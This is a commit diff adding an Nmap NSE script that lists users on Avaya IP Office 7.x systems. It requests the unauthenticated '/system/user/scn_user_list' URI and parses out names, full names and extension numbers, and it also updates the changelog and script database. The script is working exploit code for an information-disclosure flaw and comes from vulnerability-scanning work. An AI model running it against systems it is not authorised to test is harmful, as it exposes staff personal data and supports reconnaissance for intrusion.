Adds http-avaya-ipoffice-users.nse to enumerate user information such as extension display name, full name and extension number in Avaya IP Office systems.

CHANGELOG

@@ -1,5 +1,8 @@
 # Nmap Changelog ($Id$); -*-text-*-
 
+o [NSE] Added http-avaya-ipoffice-users script to enumerate users in Avaya 
+  IP Office 7.x systems. [Paulino Calderon]
+
 o [NSE] Added docker-version script for detecting Docker [Claudio Criscione]
 
 o [NSE] Improved http-form-brute autodetection and behavior to handle more

scripts/http-avaya-ipoffice-users.nse

@@ -0,0 +1,75 @@
+description = [[
+Attempts to enumerate users in Avaya IP Office systems 7.x.
+
+Avaya IP Office systems allow unauthenticated access to the URI '/system/user/scn_user_list' 
+which returns a XML file containing user information such as display name, full name and 
+extension number.
+
+* Tested on Avaya IP Office 7.0(27).
+]]
+
+---
+-- @usage nmap -p80 --script http-avaya-ipoffice-users <target>
+-- @usage nmap -sV --script http-avaya-ipoffice-users <target>
+--
+-- @output
+-- PORT   STATE SERVICE REASON         VERSION
+-- 80/tcp open  http    syn-ack ttl 99 Avaya IP Office VoIP PBX httpd 7.0(27)
+-- | http-avaya-ipoffice-users: 
+-- |   title: Avaya IP Office User Listing
+-- |   users: 
+-- |     
+-- |       full_name: John Doe
+-- |       extension: 211
+-- |       name: JDoe
+-- |_  data_source: IPOFFICE/7.0(27) xxx.xxx.xxx.xxx
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+
+portrule = shortport.http
+
+action = function(host, port)
+  local _, http_status, _ = http.identify_404(host,port)
+  if ( http_status == 200 ) then
+    stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+    return false
+  end
+  local output = stdnse.output_table()
+  output.title = "Avaya IP Office User Listing"
+  output.users = {}
+  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+  local open_session = http.get(host.ip, port, "/system/user/scn_user_list")
+  if open_session and open_session.status == 200 then
+    local _, _, source = string.find(open_session.body, "<data_source>(.-)</data_source>")
+    if source == nil then
+      stdnse.debug(1, "Pattern not found. Exiting")
+      return
+    end
+    output.data_source = source
+    --match the string data_source and print it //Avaya IP Office 7.0(27)
+    for user_block in string.gmatch(open_session.body, "<user>(.-)</user>") do
+      stdnse.debug(1, "User block found!")
+      local _, _, name = string.find(user_block, '<name>(.-)</name>')
+      local _,_, fName = string.find(user_block, '<fname>(.-)</fname>')
+      local _,_, ext = string.find(user_block, '<extn>(.-)</extn>')
+      stdnse.debug(1, string.format("User found!\nName: %s\nFull name: %s\nExt:%s", name, fName, ext))
+      if name ~= nil or fName ~= nil or ext ~= nil then 
+        local user = {}
+        user.name = name
+        user.full_name = fName
+        user.extension = ext
+        table.insert(output.users, user)
+      end
+    end
+  end
+  return output
+end

scripts/script.db

@@ -139,6 +139,7 @@ Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe",
 Entry { filename = "http-apache-negotiation.nse", categories = { "discovery", "safe", } }
 Entry { filename = "http-auth-finder.nse", categories = { "discovery", "safe", } }
 Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "http-avaya-ipoffice-users.nse", categories = { "exploit", "vuln", } }
 Entry { filename = "http-awstatstotals-exec.nse", categories = { "exploit", "intrusive", "vuln", } }
 Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
 Entry { filename = "http-backup-finder.nse", categories = { "discovery", "safe", } }